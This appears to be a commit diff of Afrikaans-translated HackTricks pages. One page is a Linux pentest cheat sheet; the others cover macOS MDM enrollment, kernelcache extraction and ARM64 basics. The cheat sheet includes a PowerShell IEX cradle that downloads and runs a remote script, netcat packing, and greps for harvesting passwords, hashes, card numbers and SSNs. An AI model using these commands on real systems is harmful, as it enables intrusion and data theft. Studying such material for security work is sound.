#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
||||
perf stat -x, -e instructions:u "ls"
|
||||
|
||||
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
||||
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
||||
|
||||
#Reconfigure timezone
|
||||
sudo dpkg-reconfigure tzdata
|
||||
|
||||
#Search from which package is a binary
|
||||
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
||||
|
||||
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
||||
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
||||
|
||||
#Set not removable bit
|
||||
sudo chattr +i file.txt
|
||||
sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||
|
||||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Bash vir Windows
|
||||
```bash
|
||||
#Base64 for Windows
|
||||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||
|
||||
#Exe compression
|
||||
upx -9 nc.exe
|
||||
|
||||
#Exe2bat
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
|
||||
#Compile Windows python exploit to exe
|
||||
pip install pyinstaller
|
||||
wget -O exploit.py http://www.exploit-db.com/download/31853
|
||||
python pyinstaller.py --onefile exploit.py
|
||||
|
||||
#Compile for windows
|
||||
#sudo apt-get install gcc-mingw-w64-i686
|
||||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
## Greps
|
||||
|
||||
### Soek
|
||||
|
||||
`grep` is 'n kragtige soekhulpmiddel wat gebruik word om te soek deur teks of binêre lêers vir patrone wat ooreenstem met spesifieke soekkriteria.
|
||||
|
||||
### Basiese Gebruik
|
||||
|
||||
```bash
|
||||
grep "patroon" lêernaam
|
||||
```
|
||||
|
||||
### Soek in alle lêers in 'n gids
|
||||
|
||||
```bash
|
||||
grep -r "patroon" gidsnaam
|
||||
```
|
||||
|
||||
### Soek na 'n patroon in alle lêers wat ooreenstem met 'n spesifieke patroon
|
||||
|
||||
```bash
|
||||
grep -r "patroon" * .uitbreiding
|
||||
```
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
||||
#Extract valid IP addresses
|
||||
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
||||
|
||||
#Extract passwords
|
||||
grep -i "pwd\|passw" file.txt
|
||||
|
||||
#Extract users
|
||||
grep -i "user\|invalid\|authentication\|login" file.txt
|
||||
|
||||
# Extract hashes
|
||||
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
||||
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
||||
#Extract valid MySQL-Old hashes
|
||||
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
||||
#Extract blowfish hashes
|
||||
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
||||
#Extract Joomla hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
||||
#Extract VBulletin hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
||||
#Extraxt phpBB3-MD5
|
||||
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
||||
#Extract Wordpress-MD5
|
||||
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
||||
#Extract Drupal 7
|
||||
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
||||
#Extract old Unix-md5
|
||||
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
||||
#Extract md5-apr1
|
||||
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
||||
#Extract sha512crypt, SHA512(Unix)
|
||||
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
||||
|
||||
#Extract e-mails from text files
|
||||
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
||||
|
||||
#Extract HTTP URLs from text files
|
||||
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
||||
#For extracting HTTPS, FTP and other URL format use
|
||||
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
||||
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
||||
|
||||
#Extract Floating point numbers
|
||||
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
||||
|
||||
# Extract credit card data
|
||||
#Visa
|
||||
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
||||
#MasterCard
|
||||
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
||||
#American Express
|
||||
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
||||
#Diners Club
|
||||
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
||||
#Discover
|
||||
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
||||
#JCB
|
||||
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
||||
#AMEX
|
||||
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
||||
|
||||
# Extract IDs
|
||||
#Extract Social Security Number (SSN)
|
||||
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
||||
#Extract Indiana Driver License Number
|
||||
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
||||
#Extract US Passport Cards
|
||||
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
||||
#Extract US Passport Number
|
||||
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
||||
#Extract US Phone Numberss
|
||||
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||||
#Extract ISBN Numbers
|
||||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## Vind
|
||||
```bash
|
||||
# Find SUID set files.
|
||||
find / -perm /u=s -ls 2>/dev/null
|
||||
|
||||
# Find SGID set files.
|
||||
find / -perm /g=s -ls 2>/dev/null
|
||||
|
||||
# Found Readable directory and sort by time. (depth = 4)
|
||||
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Writable directory and sort by time. (depth = 10)
|
||||
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current User and sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Newer files and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer files only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer directory only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
```
|
||||
## Nmap soekhulp
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
## Bash
|
||||
|
||||
Bash is 'n kragskellingsinterpreter wat algemeen in Linux-stelsels gebruik word. Dit bied 'n kragtige omgewing vir die uitvoering van opdragte en skryf van skrips.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
### Inleiding
|
||||
|
||||
Iptables is 'n kragtige firewall wat ingebou is in Linux-stelsels. Dit kan gebruik word om netwerkverkeer te bestuur deur reëls te definieer wat bepaal watter tipe verkeer toegelaat of geblokkeer word. Hierdie gids bevat nuttige Iptables-opdragte wat gebruik kan word vir die harding van Linux-stelsels.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
iptables --delete-chain
|
||||
|
||||
#allow loopback
|
||||
iptables -A INPUT -i lo -j ACCEPT
|
||||
iptables -A OUTPUT -o lo -j ACCEPT
|
||||
|
||||
#drop ICMP
|
||||
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
||||
iptables -A OUTPUT -p icmp -j DROP
|
||||
|
||||
#allow established connections
|
||||
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||
|
||||
#allow ssh, http, https, dns
|
||||
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
||||
|
||||
#default policies
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
@ -22,20 +22,23 @@ Ander maniere om HackTricks te ondersteun:
|
|||
## Basiese beginsels
|
||||
|
||||
### **MDM (Mobile Device Management) Oorsig**
|
||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) word gebruik om verskeie eindgebruikerstoestelle soos slimfone, draagbare rekenaars en tablette te bestuur. Veral vir Apple se platforms (iOS, macOS, tvOS) behels dit 'n stel gespesialiseerde funksies, API's en praktyke. Die werking van MDM steun op 'n verenigbare MDM-bediener, wat of kommersieel beskikbaar is of oopbron is, en moet die [MDM-protokol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) ondersteun. Sleutelpunte sluit in:
|
||||
|
||||
- Gekentraliseerde beheer oor toestelle.
|
||||
- Afhanklikheid van 'n MDM-bediener wat die MDM-protokol nakom.
|
||||
- Die vermoë van die MDM-bediener om verskeie opdragte na toestelle te stuur, byvoorbeeld verwydering van afgelewerde data of konfigurasie-installasie.
|
||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) word gebruik om verskeie eindgebruikerstoestelle soos slimfone, draagbare rekenaars en tablette te bestuur. Veral vir Apple se platforms (iOS, macOS, tvOS) behels dit 'n stel gespesialiseerde funksies, API's en praktyke. Die werking van MDM steun op 'n verenigbare MDM-bediener, wat of kommersieel beskikbaar is of oopbron is, en moet die [MDM-protokol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) ondersteun. Sleutelpunte sluit in:
|
||||
|
||||
* Gekentraliseerde beheer oor toestelle.
|
||||
* Afhanklikheid van 'n MDM-bediener wat die MDM-protokol nakom.
|
||||
* Die vermoë van die MDM-bediener om verskeie opdragte na toestelle te stuur, byvoorbeeld verwydering van afgelewerde data of konfigurasie-installasie.
|
||||
|
||||
### **Basiese beginsels van DEP (Device Enrollment Program)**
|
||||
Die [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) wat deur Apple aangebied word, vereenvoudig die integrasie van Mobile Device Management (MDM) deur outomatiese konfigurasie vir iOS-, macOS- en tvOS-toestelle te fasiliteer. DEP outomatiseer die registrasieproses, sodat toestelle reguit uit die boks gebruik kan word, met minimale gebruikers- of administratiewe ingryping. Belangrike aspekte sluit in:
|
||||
|
||||
- Stel toestelle in staat om outomaties by 'n voorafbepaalde MDM-bediener te registreer by aanvanklike aktivering.
|
||||
- Hoofsaaklik voordelig vir splinternuwe toestelle, maar ook toepaslik vir toestelle wat herkonfigurasie ondergaan.
|
||||
- Vereenvoudig 'n maklike opstelling, sodat toestelle vinnig gereed is vir organisatoriese gebruik.
|
||||
Die [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) wat deur Apple aangebied word, vereenvoudig die integrasie van Mobile Device Management (MDM) deur outomatiese konfigurasie vir iOS-, macOS- en tvOS-toestelle te fasiliteer. DEP outomatiseer die registrasieproses, sodat toestelle reguit uit die boks gebruik kan word, met minimale gebruikers- of administratiewe ingryping. Belangrike aspekte sluit in:
|
||||
|
||||
* Stel toestelle in staat om outomaties by 'n voorafbepaalde MDM-bediener te registreer by aanvanklike aktivering.
|
||||
* Hoofsaaklik voordelig vir splinternuwe toestelle, maar ook toepaslik vir toestelle wat herkonfigurasie ondergaan.
|
||||
* Vereenvoudig 'n maklike opstelling, sodat toestelle vinnig gereed is vir organisatoriese gebruik.
|
||||
|
||||
### **Veiligheidsoorwegings**
|
||||
|
||||
Dit is belangrik om daarop te let dat die maklike registrasie wat deur DEP gebied word, terwyl dit voordelig is, ook sekuriteitsrisiko's kan inhou. As beskermingsmaatreëls nie behoorlik afgedwing word vir MDM-registrasie nie, kan aanvallers hierdie vereenvoudigde proses benut om hul toestel op die organisasie se MDM-bediener te registreer en as 'n korporatiewe toestel voor te gee.
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -94,6 +97,7 @@ Apple-toestelle wat na 2010 vervaardig is, het oor die algemeen **12-karakter al
|
|||
## Stappe vir inskrywing en bestuur
|
||||
|
||||
1. Ske
|
||||
|
||||
### Stap 4: DEP kontrole - Kry die Aktiveringsrekord
|
||||
|
||||
Hierdie deel van die proses gebeur wanneer 'n **gebruiker 'n Mac vir die eerste keer opstart** (of na 'n volledige uitvee)
|
||||
|
@ -112,16 +116,16 @@ of wanneer die `sudo profiles show -type enrollment` uitgevoer word
|
|||
Dit volg 'n paar stappe om die Aktiveringsrekord uit te voer deur **`MCTeslaConfigurationFetcher`**. Hierdie proses maak gebruik van 'n versleuteling genaamd **Absinthe**
|
||||
|
||||
1. Kry **sertifikaat**
|
||||
1. Kry [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
||||
2. **Inisialiseer** toestand vanaf sertifikaat (**`NACInit`**)
|
||||
1. Gebruik verskillende toestel-spesifieke data (bv. **Serienommer via `IOKit`**)
|
||||
3. Kry **sessiesleutel**
|
||||
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
||||
4. Stel die sessie op (**`NACKeyEstablishment`**)
|
||||
5. Doen die versoek
|
||||
1. POST na [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) en stuur die data `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||
2. Die JSON-lading word versleutel met Absinthe (**`NACSign`**)
|
||||
3. Alle versoek word oor HTTPs gestuur, ingeboude rootsertifikate word gebruik
|
||||
2. Kry [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
||||
3. **Inisialiseer** toestand vanaf sertifikaat (**`NACInit`**)
|
||||
4. Gebruik verskillende toestel-spesifieke data (bv. **Serienommer via `IOKit`**)
|
||||
5. Kry **sessiesleutel**
|
||||
6. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
||||
7. Stel die sessie op (**`NACKeyEstablishment`**)
|
||||
8. Doen die versoek
|
||||
9. POST na [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) en stuur die data `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||
10. Die JSON-lading word versleutel met Absinthe (**`NACSign`**)
|
||||
11. Alle versoek word oor HTTPs gestuur, ingeboude rootsertifikate word gebruik
|
||||
|
||||
![](<../../../.gitbook/assets/image (566).png>)
|
||||
|
||||
|
@ -143,7 +147,7 @@ Die respons is 'n JSON-woordeboek met belangrike data soos:
|
|||
* Onderteken met die **toestelidentiteitsertifikaat (van APNS)**
|
||||
* **Sertifikaatketting** sluit verstreke **Apple iPhone Device CA** in
|
||||
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png>)
|
||||
![](https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20\(567\)%20\(1\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(7\).png)
|
||||
|
||||
### Stap 6: Profielinstallasie
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Kernel & Sisteemuitbreidings
|
||||
# macOS Kernel & System Extensions
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -53,8 +53,8 @@ Die I/O Kit is 'n oopbron, objekgeoriënteerde **toestelbestuurder-raamwerk** in
|
|||
|
||||
### IPC - Interproseskommunikasie
|
||||
|
||||
{% content-ref url="macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
|
||||
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kernelcache
|
||||
|
@ -83,6 +83,7 @@ Dit bestaan gewoonlik uit die volgende komponente:
|
|||
* FAKULTATIEF: Gewoonlik word dit nie gevind nie
|
||||
|
||||
Dekomprimeer die Kernelcache:
|
||||
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
@ -90,6 +91,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
#### Kernelcache Simbole
|
||||
|
||||
Soms publiseer Apple **kernelcache** met **simbole**. Jy kan sommige firmwares met simbole aflaai deur die skakels op [https://theapplewiki.com](https://theapplewiki.com/) te volg.
|
||||
|
@ -110,12 +112,15 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
Jy kan die uitgepakte kernelcache vir simbole nagaan met: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
Met hierdie kan ons nou **alle uitbreidings** of die **een waarin jy belangstel, onttrek:**
|
||||
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
|
@ -128,6 +133,7 @@ kextex_all kernelcache.release.iphone14.e
|
|||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
|
||||
## macOS Kernel-uitbreidings
|
||||
|
||||
macOS is **baie beperkend om Kernel-uitbreidings** (.kext) te laai vanweë die hoë voorregte waarmee kode sal hardloop. Eintlik is dit by verstek feitlik onmoontlik (tensy 'n omweg gevind word).
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Inleiding tot ARM64v8
|
||||
# Introduction to ARM64v8
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -19,15 +19,22 @@ Ander maniere om HackTricks te ondersteun:
|
|||
In die ARMv8-argitektuur definieer uitvoeringsvlakke, bekend as Uitsonderingsvlakke (EL's), die voorregvlak en -vermoëns van die uitvoeringsomgewing. Daar is vier uitsonderingsvlakke, wat strek van EL0 tot EL3, elk met 'n ander doel:
|
||||
|
||||
1. **EL0 - Gebruikermodus**:
|
||||
|
||||
* Dit is die minst bevoorregte vlak en word gebruik vir die uitvoering van gewone aansoekingskode.
|
||||
* Toepassings wat by EL0 hardloop, is van mekaar en van die stelsel sagteware geïsoleer, wat die veiligheid en stabiliteit verbeter.
|
||||
|
||||
2. **EL1 - Bedryfstelselkernelmodus**:
|
||||
|
||||
* Die meeste bedryfstelselkernels hardloop op hierdie vlak.
|
||||
* EL1 het meer voorregte as EL0 en kan toegang tot stelselbronne verkry, maar met sekere beperkings om stelselintegriteit te verseker.
|
||||
|
||||
3. **EL2 - Hipervisormodus**:
|
||||
|
||||
* Hierdie vlak word vir virtualisering gebruik. 'n Hipervisor wat by EL2 hardloop, kan verskeie bedryfstelsels (elk in sy eie EL1) bestuur wat op dieselfde fisiese hardeware hardloop.
|
||||
* EL2 bied eienskappe vir isolasie en beheer van die gevirtualiseerde omgewings.
|
||||
|
||||
4. **EL3 - Sekuriteitsmonitor-modus**:
|
||||
|
||||
* Dit is die mees bevoorregte vlak en word dikwels vir veilige opstart en vertroude uitvoeringsomgewings gebruik.
|
||||
* EL3 kan toegange tussen veilige en nie-veilige toestande bestuur en beheer (soos veilige opstart, vertroude OS, ens.).
|
||||
|
||||
|
@ -38,20 +45,30 @@ Die gebruik van hierdie vlakke maak 'n gestruktureerde en veilige manier moontli
|
|||
ARM64 het **31 algemene doelregisters**, gemerk as `x0` tot `x30`. Elkeen kan 'n **64-bis** (8-byte) waarde stoor. Vir operasies wat slegs 32-bis waardes vereis, kan dieselfde registers in 'n 32-bis modus benader word deur die name w0 tot w30 te gebruik.
|
||||
|
||||
1. **`x0`** tot **`x7`** - Hierdie word gewoonlik as krapregisters gebruik en vir die deurgawe van parameters aan subroetines.
|
||||
|
||||
* **`x0`** dra ook die terugvoerdata van 'n funksie.
|
||||
|
||||
2. **`x8`** - In die Linux-kernel word `x8` gebruik as die stelseloproepnommer vir die `svc`-instruksie. **In macOS is dit x16 wat gebruik word!**
|
||||
3. **`x9`** tot **`x15`** - Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes.
|
||||
4. **`x16`** en **`x17`** - **Intra-prosedurale Oproepregisters**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Procedure Linkage Table) stompies.
|
||||
|
||||
* **`x16`** word gebruik as die **stelseloproepnommer** vir die **`svc`**-instruksie in **macOS**.
|
||||
|
||||
